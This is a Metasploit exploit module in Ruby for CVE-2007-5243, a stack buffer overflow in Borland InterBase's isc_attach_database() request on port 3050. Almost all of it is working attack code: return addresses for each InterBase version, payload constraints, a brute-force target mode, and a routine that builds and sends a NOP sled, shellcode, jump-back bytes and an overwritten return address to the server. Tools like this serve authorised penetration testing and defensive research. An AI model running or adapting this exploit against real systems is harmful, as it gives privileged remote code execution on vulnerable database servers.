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## # $Id: ib_isc_attach_database.rb 9669 2010-07-03 03:13:45Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::BruteTargets def initialize(info = {}) super(update_info(info, 'Name' => 'Borland InterBase isc_attach_database() Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Borland InterBase by sending a specially crafted attach request. }, 'Version' => '$Revision: 9669 $', 'Author' => [ 'ramon', 'Adriano Lima <adriano@risesecurity.org>', ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'References' => [ [ 'CVE', '2007-5243' ], [ 'OSVDB', '38607' ], [ 'BID', '25917' ], [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ], ], 'Privileged' => true, 'License' => MSF_LICENSE, 'Payload' => { 'Space' => 512, 'BadChars' => "\x00\x2f\x3a\x40\x5c", 'StackAdjustment' => -3500, }, 'Targets' => [ [ 'Brute Force', { } ], # 0x00403d4b pop esi; pop ebp; ret [ 'Borland InterBase WI-V8.1.0.257', { 'Length' => [ 3136, 3140 ], 'Ret' => 0x00403d4b } ], # 0x00403d4d pop esi; pop ebp; ret [ 'Borland InterBase WI-V8.0.0.123', { 'Length' => [ 3136, 3140 ], 'Ret' => 0x00403d4d } ], # 0x00403a5d pop esi; pop ebp; ret [ 'Borland InterBase WI-V7.5.0.129 WI-V7.5.1.80', { 'Length' => [ 3136, 3140 ], 'Ret' => 0x00403a5d } ], # 0x004038fd pop esi; pop ebp; ret [ 'Borland InterBase WI-V7.0.1.1', { 'Length' => [ 3136, 3140 ], 'Ret' => 0x004038fd } ], # 0x0040390d pop esi; pop ebp; ret [ 'Borland InterBase WI-V6.5.0.28', { 'Length' => [ 1328, 1332 ], 'Ret' => 0x0040390d } ], # 0x00403901 pop esi; pop ebp; ret [ 'Borland InterBase WI-V6.0.1.6', { 'Length' => [ 1328, 1332 ], 'Ret' => 0x00403901 } ], # 0x004038b1 pop esi; pop ebp; ret [ 'Borland InterBase WI-V6.0.0.627 WI-V6.0.1.0 WI-O6.0.1.6 WI-O6.0.2.0', { 'Length' => [ 1328, 1332 ], 'Ret' => 0x004038b1 } ], # 0x00404a10 pop esi; pop ebp; ret [ 'Borland InterBase WI-V5.5.0.742', { 'Length' => [ 1428, 1432 ], 'Ret' => 0x00404a10 } ], # 0x00404a0e pop esi; pop ebp; ret [ 'Borland InterBase WI-V5.1.1.680', { 'Length' => [ 1332, 1336 ], 'Ret' => 0x00404a0e } ], # Debug [ 'Debug', { 'Length' => [ 1332 ], 'Ret' => 0xaabbccdd } ], ], 'DefaultTarget' => 0, 'DisclosureDate'=> 'Oct 03 2007' )) register_options( [ Opt::RPORT(3050) ], self.class ) end def exploit_target(target) target['Length'].each do |length| connect # Attach database op_attach = 19 remainder = length.remainder(4) padding = 0 if remainder > 0 padding = (4 - remainder) end buf = '' # Operation/packet type buf << [op_attach].pack('N') # Id buf << [0].pack('N') # Length buf << [length].pack('N') # Nop block buf << make_nops(length - payload.encoded.length - 13) # Payload buf << payload.encoded # Jump back into the nop block buf << "\xe9" + [-1028].pack('V') # Jump back buf << "\xeb" + [-7].pack('c') # Random alpha data buf << rand_text_alpha(2) # Target buf << [target.ret].pack('V') # Padding buf << "\x00" * padding # Database parameter block # Length buf << [1024].pack('N') # Random alpha data buf << rand_text_alpha(1024) sock.put(buf) select(nil,nil,nil,4) handler end end end |
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